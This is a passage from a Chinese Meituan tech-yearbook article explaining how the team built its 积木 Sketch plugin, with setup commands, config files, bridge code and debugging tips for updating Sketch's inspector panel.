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计语言，我们可以更好地传达品牌主张和设计理念。UI 团队逐步将设计语言沉淀为

设计规范，并将其量化内置于积木 Sketch Plugin 中，使产出的设计稿和 RD 代码库

中的组件一一对应，从而形成一个完整的闭环，进而可加速整个业务的交付流程。

使用 Sketch Plugin 可以快速设计出标准页面

3.	积木 Sketch	插件项目

其实，市面上已存在类似插件，为什么我们还要自己动手开发呢？因为 UI 设计语言

与自身业务关联性很强，不同业务的色彩系统、图形、栅格系统、投影系统、图文关

系千差万别，其中任意一环的缺失都会导致一致性被破坏。现有插件所提供的通用设

计元素无法满足外卖设计团队的需求，开发一款可以与业务强关联且功能可定制的插

件，显得尤为重要。

此外，统一的品牌符号、品牌特征，也有助于加深产品在用户心中的印象，统一的颜

色和交互形式能帮助用户加深对产品的熟悉感和信任感，一个好的设计语言本身可以

在体验上为产品加分，也能够更好创造一致性的体验。



前端　<　203

积木 Sketch 插件经过一段时间的建设，目前已具备 Iconfont、标准色板、组件库、

数据填充、文字模板等功能。

我们通过 Iconfont 可以从美团的图标库中拉取设计团队上传的 SVG 图标，并直接应

用于设计稿；标准色板可以限定设计师的颜色使用范围，确保设计稿中的颜色均符合

设计规范；组件库中包含从外卖业务中抽离的基本控件与通用组件，具有可复用和标

准化的特点，并与不同语言平台组件库中的代码一一对应，使用组件库中的组件进行

设计，可以提升 UI 的设计效率、开发效率以及走查效率；数据填充库可以实现图片

填充和文本填充，图片包含了商品及商家素材，文字则包含了菜品、商铺名等信息，

通过数据填充可以使设计师采用真实数据进行填充，让设计稿更为直观，也更贴近线

上环境；文字模板中内置了 Head、SubTitle、Body、Caption 的使用规范，根据设

计稿中文字的位置，点击文字图层即可直接应用字体、行高、字距等属性。

此外，我们还根据设计同学的使用反馈，不断增添新功能。同时也在拓展插件的使用

场景，增加业务线切换功能，使积木插件可以为更多的团队服务，并期待它能成为更

多设计师的“贴心搭档”。

积木 Sketch Plugin 已支持功能

4.	为什么要写这篇文章？

相信你读完上面的内容，肯定迫不及待的想了解一下 Sketch 插件，以此迅速提升自

己团队开发效率了吧？



204　>　美团 2020 技术年货

其实在开始之前，我们可先了解一些不利的条件。第一点，由于 Sketch 更新速度极

快，但是官方文档却十分简单且陈旧，因此很多知名的 Sketch Plugin 因每次 API

的变更过大纷纷放弃维护；第二点，由于开发技术栈混乱，成熟项目一般还未开源，

而开源的项目基本上没有什么参考价值，绝大多数都是“update 3 years ago”；最

后一点，macOS 开发资料更是少的可怜。

我们阅读了大量的文档却没有理清头绪，仿佛很多 Wiki 讲到关键地方，比如某个非

常期待的功能是怎么实现的时候，作者竟然一笔带过，让人摸不到头脑。知乎上一篇

Sketch Plugin 的科普文，很多网友会评论“求教学视频，我可以花钱买的”。经过

一步步踩坑，我们就总结了一些开发经验，为了避免大家“重复踩坑”，晚上可以早

点下班陪陪家人，我们决定写一篇文章记录下开发的过程。虽然比起那些已经更新多

版的成熟项目，但还有不少的差距，至少可以让大家不再那么迷茫。

当然，即使你觉得自己是个“跟 Sketch 八竿子打不着”的开发同学，我们也觉得这

篇文章同样也值得阅读，因为你会通过本文接触到前端、移动端、桌面端、服务端的

各种开发知识。我们都知道，越来越多的公司开始喜欢招全栈工程师，像 Facebook

基本上只招全栈工程师。你心里是不是在想：“是不是在搞笑啊？不过一个插件而已？”

先别轻易下结论。

准备好了吗？盘它！

准备放手 Coding 之前

好，先别着急敲击键盘。毕竟我们连使用哪种语言去开发都没决定，这曾经也是困恼

我们许久的一个问题。目前 Sketch Plugin 开发大概有两种方式：

① 使用 JavaScript + CocoaScript 的混合开发模式，Sketch 团队官方维护了一

套 JS API，并在开发者官网写了一句非常振奋人心的话：“ Take advantage of 

ES6, access macOS frameworks and use the Sketch APIs without learning 

Objective-C or Swift.”
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理想很美满，但现实很骨感。这个 API 目前还不算完善，很多功能无法实现，因此我

们需要搭配 CocoaScript 访问更丰富的内部 API。

② 直接采用 Objective-C 或 Swift，并搭配 macOS 的 UI 框架 AppKit 进行开发，

简单粗暴，并且可以利用 OC 运行时直接调用 Sketch 内部 API。但这里要特别提醒

一下，你要承担的风险是：随着 Sketch 的不断更新，内部 API 的命名和使用方式可

能会发生较大变化，很多知名插件都因此放弃更新。

本文采用了“混合开发模式”进行讲解，希望能够给你一些小启发。

Sketch 开发原理



206　>　美团 2020 技术年货

1.	Sketch	Plugin 开发流派

2.	环境配置

Skpm（Sketch Plugin Manager）是 Sketch 提供的用于 Plugin 创建、Build 以及

发布的官方工具。Skpm 采用 Webpack 作为打包工具，当然如果你对前端知识足够

熟悉，也可以采用 Rollup 或者 roadhog。但是，为了防止遇到各种各样的报错，这

里并不建议你这么做。

Skpm 提供了一系列帮助快速入门的模板，最有用的莫过于 skpm/with-webview，

它可以帮助我们创建一个基于 WebView 展示的 Demo 示例，而且 Skpm 会在构建

完成后，自动创建一个 Symbolic Link 将插件添加到 Sketch 的安装目录，使 Plugin

立即可用。

//基于 webpack的 Sketch官方打包工具 skpm
npm install -g skpm
//创建示例工程
skpm create my-plugin --template=skpm/with-webview
//Install the dependencies
npm install
//构建插件
npm run build



前端　<　207

3.	项目结构

Plugin	Bundle 按照上面的步骤操作完成后，我们会得到如下插件目录，它以标准

化的分层结构存储了源码文件以及构建生成的 Sketch 插件安装包。这里没有使用官

方文档中最简单的 Demo，而是使用目前开发中最为常用的 With-Webview 模板进

行分析，以免出现学完“1+1”后遇到的全是“微积分”问题，并且大部分插件均是

在此基础上进行拓展。

目录中的参数，相信你在看完注释后马上就能明白。可是如果此前没有前端开发经

验，可能不了解在经过 Webpack 打包后，脚本文件的文件名会发生变更，比如

resources 中的 webview.js 经过打包后会储存在插件的 Resources 文件夹中，而

文件名则变更为 resources_webview.js，因此在进行代码编写时，如果需要在 html

中引用此文件，也要使用打包后的文件名，即：。这里有个小技巧，如果你不知道脚

本文件打包后的文件名及路径，建议先使用 Webpack 进行编译，然后查看其在打包

后的 Plugin 中的位置和名称，然后再进行引用。

├── assets //资源文件夹，如需更改需在 package.json中的 skpm.assets中设置 
├── my-plugin.sketchplugin   //skpm构建过程生成的插件包
│   └── Contents
│       ├── Resources
│       │   └── _webpack_resources
│       │   └── resources_webview.js
│       │   └── resources_webview.js.map
│       └── Sketch
│           ├── manifest.json
│           ├── __my-command.js
│           └── __my-command.js.map
├── package.json
├── webpack.skpm.config.js
├── resources //资源文件
│  ├── style.css
│  ├── webview.html
│  └── webview.js
└── src //需要被 webpack打包的脚本文件以及 manifest清单文件
    ├── manifest.json
    └── my-command.js
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Manifest

你没有看错！ plugin 中也有 manifest.json，它与其它平台比如 Android 开发中的清

单文件意义相同。清单文件记录了作者信息、描述、图标以及获取更新的途径等等。

想想看，每天熬夜加班写代码，总得有个地方把你的名字记录下来吧。但 manifest

最重要的作用其实是告诉 Sketch 如何运行插件，以及如何将插件集成进 Sketch 的

菜单栏中。

commands 使用一个数组，记录了插件所提供的所有命令。比如下面的例子，当

用户从菜单栏点击 “显示工具栏”这个条目时，就会执行 script.js 中的 function 

showPlugin() 。menu 则提供了插件在 Sketch 菜单栏中的布局信息，Sketch 会在

插件被加载时初始化菜单。

{
  "commands": [
   {
      "name": "显示工具栏 ",
      "identifier": "roo-sketch-plugin.toolbar",
      "script": "./script.js",
      "handlers": {
        "run": "showPlugin"
      }
    }
  ],
  "menu": {
    "title": "□外卖积木 SketchPlugin工具栏 ",
    "items": ["roo-sketch-plugin.toolbar"]
  }
}

package.json

简单来说，只要你的项目中用到了 NPM，根目录下就会自动生成 package.json 文

件。Node.js 项目遵循模块化的架构，package.json 定义了这个项目所需要的各种

模块以及配置信息。使用 npm install 命令会根据这个配置文件，自动下载所需的模

块，也就是配置项目所需的运行和开发环境。
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非常值得称赞的是，Plugin 开发中对于网络请求、 I/O 操作以及其它功能，可以使用

与 Node.js 兼容的 polyfill，其中许多常用 modules 已经预装到了 Sketch 中，比如

console、fetch、process、querystring、stream、util 等。

这里你只需要知道以下几点：

 ● 需要参与 Webpack 打包的脚本文件必须在 resources 目录下声明，否则不

会参与编译（重点！考试要考！）。

 ● assets 目录需要配置在 skpm.assets 下。

 ● 常用的命令可以定义在 scripts 中方便直接调用。

 ● dependencies 字段指定了项目运行所依赖的模块，devDependencies 指定

项目开发所需要的模块。

{
  "name": "roo-sketch-plugin",
  "author": "hanyang",
  "description": "外卖积木 Sketch plugin，UI同学好喜欢 ~",
  "version": "0.1.0",
  "skpm": {
    "manifest": "src/manifest.json",
    "main": "roo-sketch-plugin.sketchplugin",
    "assets": ["assets/**/*"]
  },
  "resources": [
    "src/webview/template/webview.js"
  ],
  "scripts": {
    "build": "rm -rf roo-sketch-plugin.sketchplugin && NODE_
ENV=development skpm-build",
  },
  "dependencies": {},
  "devDependencies": {}
}

4.	API	Reference

Javascript	API

由于使用了与 Safari 相同的 JS 引擎，Plugin 脚本可以获得完整 ES6 支持。官方的

https://github.com/skpm/console
https://github.com/skpm/sketch-polyfill-fetch
https://github.com/skpm/process
https://github.com/skpm/querystring
https://github.com/skpm/stream
https://github.com/skpm/util
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JavaScript API 由 Sketch 团队维护，并允许访问和修改 Sketch 文档，通过 API 可

以向 Sketch 用户提供数据并提供一些基本的用户界面集成。

//访问、修改和创建文档从 color到 layer再到 symbol等方方面面
var sketchDom = require('sketch/dom')
//对于异步操作，JavaScript API提供了 fibers延长 contex的 lifeTime
var async = require('sketch/async')
//直接在 Sketch中提供图像或文本数据，DataSupplier直接与 Sketch用户界面集成。
var DataSupplier = require('sketch/data-supplier')
//无需重新 build的情况下显示通知以及获取用户输入
var UI = require('sketch/ui')
//保存图层或文档的自定义数据，并存储插件的用户设置。
var Settings = require('sketch/settings')

CocoaScript	Syntax

CocoaScript 通过赋予了 JavaScript 调用 Sketch 内部 API 以及 macOS Cocoa 

frameworks 的能力，这意味着除了标准的 JavaScript 库外，还可以使用许多很棒

的类与函数。CocoaScript 建立在苹果的 JavaScriptCore 之上，而 JavaScript-

Core 是为 Safari 提供支持的 JavaScript 引擎。

因 此， 当 你 使 用 CocoaScript 编 写 代 码 的 时 候， 你 就 是 在 写 JavaScript。Co-

coaScript 中 的 Mocha 实 现 JS 到 Objective-C 的 Bridge， 虽 然 Mocha 包 含 在

CocoaScript 中，但文档仍保留在原始 Github 中。因此，你在 CocoaScript 的

Readme 中看不到任何语法教程。这里一个诀窍是，如果你想了解 Mocha 将原生的

Sketch Objects 通过 bridge，从 Objective-C 传递到 JavaScript 层的属性、类或

者实例方法的信息，可以将其通过 console 打印出来：

let mocha = context.document.class().mocha()
console.log(mocha.properties())
//OC
[executeOperation:withObject:error:]
//CocoaScript
executeOperation_withObject_error()

通过 CocoaScript 提供的 Bridge 使用 JavaScript 调用 Objective-C 的基本语法

如下：
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 ● Objective-C 的方括号语法“[ ]”转换为 JavaScript 中的点“ . ”语法。

 ● Objective-C 的 属 性 导 出 到 JavaScript 时 Getter 为 object.name() 而

Setter 为 object.name = ‘Sketch’。

 ● Objective-C 的 selectors 被暴露为 JavaScript 的代理方法。

 ●“ ：” 冒号被转换为下划线“ _”, 最后一个下划线是可选的。

 ● 调用带有一个下划线的方法需要加倍为两个下划线 : sketch_method 变为

sketch__method。

 ● selector 的每个 component 被连接成不带有分隔符的单个字符串。

5.	Actions

行为定义

Action 指的是由于用户交互而在应用程序中发生的事件，比如“打开文档”、“关闭文

档”、“保存”等。Sketch 所提供的了 Action API 可以使插件对应用程序中的事件做

出反应，有点类似 Android 开发中的的 BroadCast 或者 Job Scheduler。官方文档

列举了数百个可供监听的 Action，但最常用到的只有下面几个：

监听回调

我们只需在插件的 manifest.json 文件中添加一个 handler 即可。比如下面的例子添

加了对于“OpenDocument”的监听，也就是告诉插件在新文档被打开时要去执行

onOpenDocument 这个 function。
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 {
      "script": "action.js",
      "identifier": "my-action-listener-identifier",
      "handlers": {
        "actions": {
          "OpenDocument": "onOpenDocument"
        }
      }
}

当一个 Action 被触发时，会回调 JS 中的监听方法，与此同时 Sketch 可以向目标函

数发送 Action Context，其中包含动作本身的一些信息。在下面例子中，每次打开

文档时都会弹出一个 Toast。

function onOpenDocument(context) {
    context.actionContext.document.showMessage('Document Opened')
}

6.	Bridge 双向通信

在常规的插件开发中，UI 层一般采用 Webview 实现，因此你可以使用各种前端开发

框架，比如 React 或者 Vue 等；而插件的逻辑层（负责调用 Skecth API）显然不在

WebView 中，因此需要通过 Bridge 进行通信。逻辑层将从服务器获取到的数据传

递给 UI 层展示，而 UI 层则将用户的操作反馈传递给逻辑层，使其调用 Sketch API

更新 Layers。

Sketch 通信原理
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插件发送消息到WebView

//On the plugin:
browserWindow.webContents
  .executeJavaScript('someGlobalFunctionDefinedInTheWebview("hello")')
  .then(res => {
    // do something with the result
  })
 
//On the WebView:
window.someGlobalFunctionDefinedInTheWebview = function(arg) {
  console.log(arg)
}

WebView发送消息给插件

//On the webview:
window.postMessage('nativeLog', 'Called from the webview')
//On the plugin:
var sketch = require('sketch')
browserWindow.webContents.on('nativeLog', function(s) {
  sketch.UI.message(s)
})

经过了以上步骤，我们就得到了一个基础插件，它以 WebView 作为内容载体，并具

有双向通信功能。打开插件时，Webview 会将页面加载完成的事件传递给逻辑层，

逻辑层调用 Sketch API 弹出 Toast；点击 Get a random number 可以从逻辑层获

取一个随机数。

skpm/with-webview 运行效果
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快来正式加入开发队伍

相信阅读完上面的部分，制作一个简单的插件对于你来说，已经有点“游刃有余”了。

但这个时候，疑惑也随之而来，为什么 Demo 和我们常用插件的 UI 差别如此之大？

没错，官方文档只教给我们最基础的插件开发流程，一个成熟的商业项目绝不仅仅是

以上这些。一个功能完善的插件应该包括以下三部分：工具栏、WebView 容器以及

业务数据。下面，我们会一步步为你展示如何开发一个商业化插件 UI，同时也会演

示美团外卖“填充功能”的实现（注：篇幅原因文档中仅保留关键代码。）

常规 Sketch 插件结构

1.	创建吸附工具栏

所谓吸附式工具栏，就是展示在 Skecth 右侧 Inspector Panel 旁边的工具栏，它以

吸附的方式与 Sketch 操作界面融为一体，这也是绝大多数插件的视觉呈现方式。工

具栏中展示了当前插件可以提供的大部分功能，方便我们在操作 Document 时快速

选取使用。

开发工具栏主要使用 NSStackView、NSButton、NSImage 以及 NSFont 这几个
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类，如果没有开发过 macOS 应用的同学可能对这些类有些陌生，可以类比 iOS 开

发中以 UI 作为前缀的控件类，NS 前缀主要是 AppKit 以及 Foundation 的相关类，

MS 前缀则是 Skecth 的相关类，CA、CF 前缀为核心动画库和核心基础类。

下面的代码记录了创建工具栏的关键步骤，更为详细的操作可以参考一些 Github 仓

库，比如 sketch-plugin-boilerplate 等。

const contentView = context.document.documentWindow().contentView();
const stageView = contentView.subviews().objectAtIndex(0);
 
//1.创建 toolbar
const toolbar = NSStackView.alloc().initWithFrame(NSMakeRect(0, 0, 27, 
420));
toolbar.setBackgroundColor(NSColor.windowBackgroundColor());
toolbar.orientation = 1;
 
//2.创建 Button
const button =  NSButton.alloc().initWithFrame(rect)
const Image = NSImage.alloc().initWithContentsOfURL(imageURL)
button.setImage(image)
button.setTitle("数据填充 ")
button.setFont(NSFont.fontWithName_size('Arial',11))
 
//3.将 Button加入 toolbar
toolbar.addView_inGravity(button, gravityType);
 
//4.将 toolbar加入 SketchWindow
const views = stageView.subviews()
const finalViews = []
for (let i = 0; i < views.count(); i++) {
 finalViews.push(view)
 if(view[i].identifier() === 'view_canvas'){
   finalViews.push(toolbar)
}
 stageView.subviews = finalViews
 stageView.adjustSubviews()

2.	创建WebView容器

除 了 通 过 CocoaScript 创 建 原 生 NSPanel 外， 这 里 推 荐 使 用 官 方 的 sketch-

module-web-view 快 速 创 建 WebView 容 器， 它 提 供 了 丰 富 的 API 对 窗 口 的

展示样式和行为进行定制，包括 Frameless Window、Drag 等，同时还封装了
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WebView 与插件层的通信的 Bridge，使你可以轻松在”frontend” （the WebView）

和”backend” （the plugin running in Sketch）之间发送消息。

//(1)方法一：原生方式加入 webview
const panel = NSPanel.alloc().init();
panel.setFrame_display(NSMakeRect(0, 0, panelWidth, panelHeight), true);
const wkwebviewConfig = WKWebViewConfiguration.alloc().init()
const webView = WKWebView.alloc().initWithFrame_configuration(
  CGRectMake(0, 0, panelWidth, panelWidth),
  wkwebviewConfig
)
panel.contentView().addSubview(webView);
webview.loadFileURL_allowingReadAccessToURL(
  NSURL.URLWithString(url),
  NSURL.URLWithString('file:///')
)
//(2)方法二：使用官方的 BrowserWindow
import BrowserWindow from "sketch-module-web-view";
const browserWindow = new BrowserWindow(options);
const webViewContents = browserWindow.webContents;
 
 webViewContents
    .executeJavaScript(`someGlobalFunctionDefinedInTheWebview(${JSON.
stringify(someObject)})`)
    .then(res => {
      // do something with the result
    })
 browserWindow.loadURL(require('./webview.html'))

3.	创建内容页面

历尽千辛万苦，我们终于拿到了 WebView，这下就可以发挥你“天马行空”的想象

力了。不管是 React 还是 Vue，亦或只是一些简单的静态页面对于你而言应该都不

在话下。在完成界面开发后，只需通过 Window 向插件发送指令即可。下面的例子

演示了积木插件的“数据填充”功能。

UI 侧

import React from 'react';
import ReactDOM from 'react-dom';
 
//使用 react搭建用户页面
ReactDOM.render(<Provider store={store}><App /></Provider>, document.
getElementById('root'));
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//传递用户点击填充类目给插件层，这里以填充文字为例
export const PostMessage = (name, fillData) => {
  try {
    window.postMessage("fill-text-layer", fillData);
  } catch (e) {
    console.error(name, "出现异常！！！ " + fillData);
  }
}; 

插件侧

  browserWindow.webContents.on('fill-text-layer', function(s) {
   //找到当前页面 document
  const document = context.document;
   //获取用户选择的 layers
     const selection = Document.fromNative(document).selectedLayers;
        layers.forEach(item => {
          //判断 layer类型是否为文字
          if (item.type === 'Text') {
            //更新 textlayer
            item.text = value;
          }
   }); 
})

4.	还想加点出彩的功能

如果你还不满足于此，说明你真的是个很爱学习，也很有潜力的开发同学。一个完善

的插件需要包括交互层、API 层、业务层、调试层以及发布层，每层各司其职，它们

都在默默干好自己的工作。

前面的步骤，通过构件菜单栏、创建 Webiew 完成了交互层的开发；通过 Webview

的 Bridge 传递用户操作到插件侧代码，之后调用 Sketch API 对图层进行操作，这

是 API 层的工作；而根据自身需求并依托交互层与 API 层的实现去编写业务代码，

则是业务层的工作；至此，你应该就拥有了一个可运行的插件了。

但除此之外，在代码编写过程中还需要 Lint 组件辅助开发，发现问题需要使用各类

Dev 工具进行调试，通过 QA 验证后，需要 Cli 工具打包并发布插件更新。这一小

节，我们将简单介绍一些基本的调试层和发布层知识。
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积木 Sketch Plugin 结构

Webpack 配置

Skpm 默认采用 Webpack 作为打包工具。Webpack 是一个现代 JavaScript 应用

程序的静态模块打包器（Module Bundler）。当 Webpack 处理应用程序时，它会递

归地构建一个依赖关系图（Dependency Graph），其中包含应用程序需要的每个模

块，然后将所有这些模块打包成一个或多个 Bundle，需要在 webpack.config.js 进

行配置，类似于 Android 中的 Gradle，同样支持各种插件。

Webpack 处理流程示意
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由于插件的开发者未必是前端同学，可能之前并没有接触过 Webpack，因此我

们在这里介绍它的一些常用配置，让你有更多的时间关注业务代码。第一次接触

Webpack 是在去年一次公司内部的技术培训上（美团技术学院提供了很多技术培训

课程，加入我们就可以尽情地在知识的海洋中遨游了），美团 MRN 项目的打包方案

就是 Webpack。

在前端圈有各种各样的打包工具，比如 Webpack、Rollup、Gulp、Grunt 等等。

RN 打包用的是 Facebok 实现的一套叫做 Metro 的工具，而美团 MRN 打包工具的

选型是 Webpack，因为 Webpack 具有强大的插件机制和丰富的社区生态，可以完

成复杂的流水线打包工作，Webpack 在 Plugin 开发中同样发挥了非常重要的作用。

Webpack 有五个核心概念：

在插件开发中需要处理 html、css、sass、jpg、style 等各种文件，只有在 Web-

pack 中配置相应的 Loader 后，这些文件才能被处理。而且我们很可能遇到某些文

件需要使用特定的插件，而其它文件又无需处理的情况。下面的示例中列举了添加插

件、对文件单独处理以及参数配置这三个常用的基本操作。

module.exports = function (config, entry) { 
  //常用功能 1：增加插件
    config.module.rules.push({
    test: /\.(svg)([\?]?.*)$/,
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    use: [
      {
        loader: "file-loader",
        options: {
          outputPath: url => path.join(WEBPACK_DIRECTORY, url),
          publicPath: url => {return url;}}}
    ]
  });}
  
//常用功能 2：对文件单独处理
if (entry.script === "src/script.js") {
    config.plugins.push(
      new htmlWebpackPlugin({ })
    );
}
 
//常用功能 3：定制 js处理
  config.module.rules.push({
    test: /\.jsx?$/,
    use: [
      { loader: "babel-loader",
        options: {
          presets: [
            "@babel/preset-react",
            "@babel/preset-env"
          ],
          plugins: [
            //引入 antd组件库
            ["import",{libraryName: "antd",libraryDirectory: 
"es",style: "css"}]
      ]}}]
  });

ESLint 配置

JavaScript 是一门非常灵活的语言，很多错误往往运行时才爆出，通过配置前端代

码检查方案，在编写代码过程中可直接得到错误反馈，也可以进行代码风格检查，不

仅提升了开发效率，同时对不良代码编写习惯也能起到纠正作用。在 ESLint 中需要

配置基础语法规则、React 规则、JSX 规则等，由于 Sketch 插件的 CocoaScript

语法较为特殊，需要配置全局变量以此忽略 AppKit 中无法识别的类。

虽然，我们曾在部门组会中被多次“安利”ESLint 的强大作用（这里给大家推荐一

篇技术文章：ESLint 在中大型团队的应用实践），但如果不是做前端或者 RN 开发的

https://tech.meituan.com/2019/08/01/eslint-application-practice-in-medium-and-large-teams.html
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同学，可能对于 ESLint 的复杂配置并不熟悉。可以直接使用 Skpm 提供的 ESlint 

Config，里面配置了包含 Sketch 和 macOS 的头文件的全局变量，而代码格式化则

推荐使用 Prettier。

npm install --save-dev eslint-config-sketch
//或者直接使用带 prettier以 eslint的 skpm template工程
$ skpm create my-plugin --template=skpm/with-prettier

内容服务端化

Sketch 推出的库（Library）功能对于维护设计系统或风格指南，起到非常重要的作

用，可以给团队带来高效工作体验，甚至改变设计团队工作方式和流程。我们通过组

件库可以在整个设计团队中共享组件（Symbol），Library 可以实现“一处更改，处

处生效”，即使是关联了远程组件库历史的设计稿检测到更新时，也会收到 Sketch

通知，确保工作中使用的是最新组件。

库功能对美团外卖 UI 一致性起着至关重要的作用，这主要体现在两方面：首先是实

现设计风格沉淀，目前袋鼠 UI 已经形成了自己的独特风格，外卖设计团队根据设计

规范，对符合 UI 一致性外卖业务场景的组件不断进行抽象及建设，沉淀出越来越多

的通用业务组件，这些组件需要及时扩充到 Library 中，供团队成员使用；另外一个

作用，则是保持团队使用的均为最新组件，由于各种原因，组件的设计元素（色彩、

字体、圆角等属性）可能会发生变更，需要及时提醒团队成员更新组件，保持所有页

面的一致性。

Sketch 内置的 iOS 远程组件库
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Library 中的 Symbol 提示更新

库组件自动更新，其实就是 “库列表” - “库 ID” - “外部组件原始 ID” 这三者的关联。

Sketch 内部是靠 UUID 进行对象识别的，通过库组件的库 ID，从库面板的列表中，

按照添加的时间从新到旧依次检索所有未被禁用的、链接完好的库，直到匹配到库的

ID ，然后查找该库文件内是否有与库组件 SymbolID 匹配的组件，如果包含且内容

有差异就提醒更新，更新的过程实际上是内容替换。

我们通过以下步骤使用 RSS 技术共享 Library 供整个 UI 设计团队使用：

 ● 将 Library Document 托管到公司内网服务器上。

 ● 创建一个 XML 文件记录版本信息和更新地址。

 ● 最 后 使 用 Meyerweb URL 编 码 器 之 类 的 工 具（或 直 接 encodeURICom-

ponent）对 XML feed URL 进 行 编 码 并 将 其 添 加 到 以 下 内 容：sketch://

add-library?url=https://***.xml。

 ● 将此 URI 在浏览器中打开即可。

<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" 
xmlns:content="http://purl.org/rss/1.0/modules/content/" 
xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:sparkle="http://
www.andymatuschak.org/xml-namespaces/sparkle">
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  <channel>
    <title>My Sketch Library</title>
    <description>My Sketch Library</description>
    <image>
      <url></url>
    </image>
    <item>
      <title>My Sketch Library</title>
      <pubDate>Wed, 23 Jun 2019 11:19:04 +0000</pubDate>
      <enclosure url="mysketchlibrary.sketch" type="application/
octet-stream" sparkle:version="1"/>
    </item>
  </channel>
</rss>

5.	开发流程小结

前面一口气讲述了很多内容，可能你一时无法消化，这里对插件的开发流程作个简要

的总结：

 ● 首先利用 JavaScript 或 CocoaScript 开发操作面板。

 ● 使用 NPM 安装所需依赖。

 ● 通过 Bridge 传递用户操作到插件逻辑侧，通过调用 Skecth API 对文档进行

处理。

 ● 使用 Webpack 进行打包。

 ● 通过测试后发布插件更新。

Sketch Plugin 开发流程
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别人可能没告诉你的事儿

这部分主要记录了积木 Sketch Plugin 开发过程中的踩坑经历，但是这里，我们没有

贴大段的代码，没有直接告诉你答案，而是把分析问题的过程记录下来。“授人以鱼

不如授人以渔”，相信只要你了解了这些分析技巧，即使之后遇到更多的问题，也可

以轻（jia）松（ban）解决。

1.	与 Xcode工程混合编译

首先，我们要明确一个问题，为什么要使用 XCode 工程？

虽然官方提供了 JS API 并承诺持续维护，但这项工作一直处于 Doing 状态，而且官

方文档更新缓慢，没有明确的时间节点。因此，对于某些功能，比如我们想建一个具

有 Native Inspector Panel 的插件，就不得不使用 XCode 进行开发。使用 Xcode

开发对于 iOS 开发者也更加友好，无需再学习前端界面开发知识。

这里推荐 Invison 的开发成员 James Tang 分享的博客文章《Sketch Plugin Xcode 

Template》，里面详细描述了构建插件 XCode 工程的步骤，这也成为很多插件开发

者遵循的范本。当然随着 Sketch 的不断升级，某些 API 已经不受支持，但作者讲述

的开发流程和思路依然没有改变，具有很高的学习价值。

JavaScript
//利用 Mocha加载 framework
var mocha = Mocha.sharedRuntime();
[mocha loadFrameworkWithName:frameworkName inDirectory:pluginRootPath]

除此之外，Skpm 中已经内置了 @skpm/xcodeproj-loader，也可在 JS 中直接加

载 Framework。

JavaScript
//加载 framework
const framework = require('../xcode-project-name/project-name.
xcodeproj/project.pbxproj');
const nativeClass = framework.getClass('NativeClassName');
//获取 nib文件
const ui = framework.getNib('NativeNibFile');
//也可以直接加载 xib文件

https://blog.magicsketch.io/sketch-plugin-xcode-template-c8236a6f7fff
https://blog.magicsketch.io/sketch-plugin-xcode-template-c8236a6f7fff
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const NibUI = require('../xcode-project-name/view-name.xib')
var nib = NibUI()
let dialog = NSAlert.alloc().init()
dialog.setAccessoryView(nib.getRoot())
dialog.runModal()

当然你也可以直接使用 Github 上一些知名的开源项目，有些会直接提供 Frame-

work 供你使用，比如更改原生的 toolbar：

2.	了解 Electron

为什么在讲述 Sketch Plugin 的时候，忽然会提到 Electron ？这里有一个小故事，

某天上班打开大象（美团内部沟通软件）。

MacOS 版大象截图

看到一条公众号推送，是公司成立了 Electron 技术俱乐部（美团技术团队内部自发

成立了很多技术俱乐部），经过了解发现 Electron 基于 Chromium 和 Node.js，可

以使用 HTML、CSS 和 JavaScript 构建桌面应用程序，Electron 负责其中比较复

杂的部分，而开发者只需关心应用的核心需求即可。大象的 Mac 端就大量使用了

Electron 技术，用 Web 框架去开发桌面应用，可以直接复用 Web 现有的开发成果

并获得出色的运行效率。
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我们就进行了简单的学习，在之后的一段时间并没有再去关注这项技术，直到某天在

插件开发的过程中忽然遇到一个问题：在插件 WebView 显示的情况下，在桌面空白

处点击使 Sketch 软件失去焦点，整个 App 就会被隐藏。试了几个流行的插件，发现

大部分均有此问题，这给设计师的工作造成了诸多不便。试想，我只是去打开 Finder

找一个文件，你为什么要把我的软件最小化？在 Github 上留言后，很快得到了项目

开发者 Mathieu Dutour 的官方回复，原来只需要设置一个 hidesOnDeactivate 属

性即可。

等等！这不是 Electron 中的属性么？仔细查看 Readme 才发现作者写道“The API 

is mimicking the BrowserWindow API of Electron.”这下可方便多了！你想自定

义窗口的表现，只需按照 Electron 的 API 设置即可，想想看其实 Electron 的工作方

式是不是和 Sketch Plugin 如出一辙？

3.	更新原生属性面板

为了更好地提升积木 Sketch Plugin 的使用体验，UI 同学通过建立公共 Wiki 记录我

们设计团队在插件使用过程中的反馈建议，其中有一条很奇怪：“通过插件面板更新

Layer 属性后，右侧面板不刷新。”和上一个问题一样，经测试其它插件大部分也有

https://www.electronjs.org/docs/api/browser-window
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此问题，但是如何去更新右侧属性面板呢？翻阅了 Sketch 的 API 文档还是“丈二和

尚，摸不着头脑”。这个时候想起了 macOS 开发的一个神器 Interface Inspector，

它可以在运行时分析正在运行的 Mac 应用程序的界面结构和属性，非常强大。

开心的下载下来后，发现这个软件上次的更新时间是 6 年前，忽然有了一种不祥的

预感。果然 Attach 任何 App 时都会提示无法 Attach，在 macOS Catalina 版本已

经无法运行。可是这怎么能难倒“万能”的程序员呢？我们查看系统报错，发现是

mach_inject_bundle_stub 错误，查阅发现 mach_inject_bundle_stub 是 Github

上的一个开源库，所以自己下载源码重新编译个 Bundle 包就可以了。

Attach 成功后，就可以对 Sketch 的面板进行属性分析了，是不是忽然感觉打开

了新世界的大门？经过查阅发现右侧面板在 MSInspectorController 中。如下图

所示：

Interface Inspector 对 Sketch 进行运行时分析
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下一步需要用 Class-Dump 工具来提取 Sketch 的头文件，查看可以对 inspector

面板进行操作的所有方法：

通过 class-dump 得到的头文件

不出所料，我们发现了 reload()，猜测调用这个方法可以刷新面板，测试一下发现问

题被修复了。如果你使用 Sketch 的 JavaScript API 的话，名称不一定能完全对应，

但是基本差不多，稍加分析也可以找到。这里只是教大家一个思路，这样即使遇到其

它问题，按照上面的步骤试试看，没准就可以解决。

JavaScript
// reload the inspector to see the changes 
var sketch = require('sketch')
var document = sketch.getSelectedDocument()
document.sketchObject.inspectorController().reload()

未来等你加入

如你所见，积木 Sketch Plugin 可以帮助设计团队提升设计效率、沉淀设计语言以及

减少走查负担；让 RD 同学面对新项目时，可以专注于业务需求而无需把时间耗费在

组件的编写上；减少 QA 工作量，保证控件质量无需频繁回归测试；帮助 PM 提高版

本迭代效率及版本需求吞吐量，提供业务的快速拓展能力。

当然，我们除了希望制作一流的产品，也希望积木插件可以让你在繁忙的工作中得以

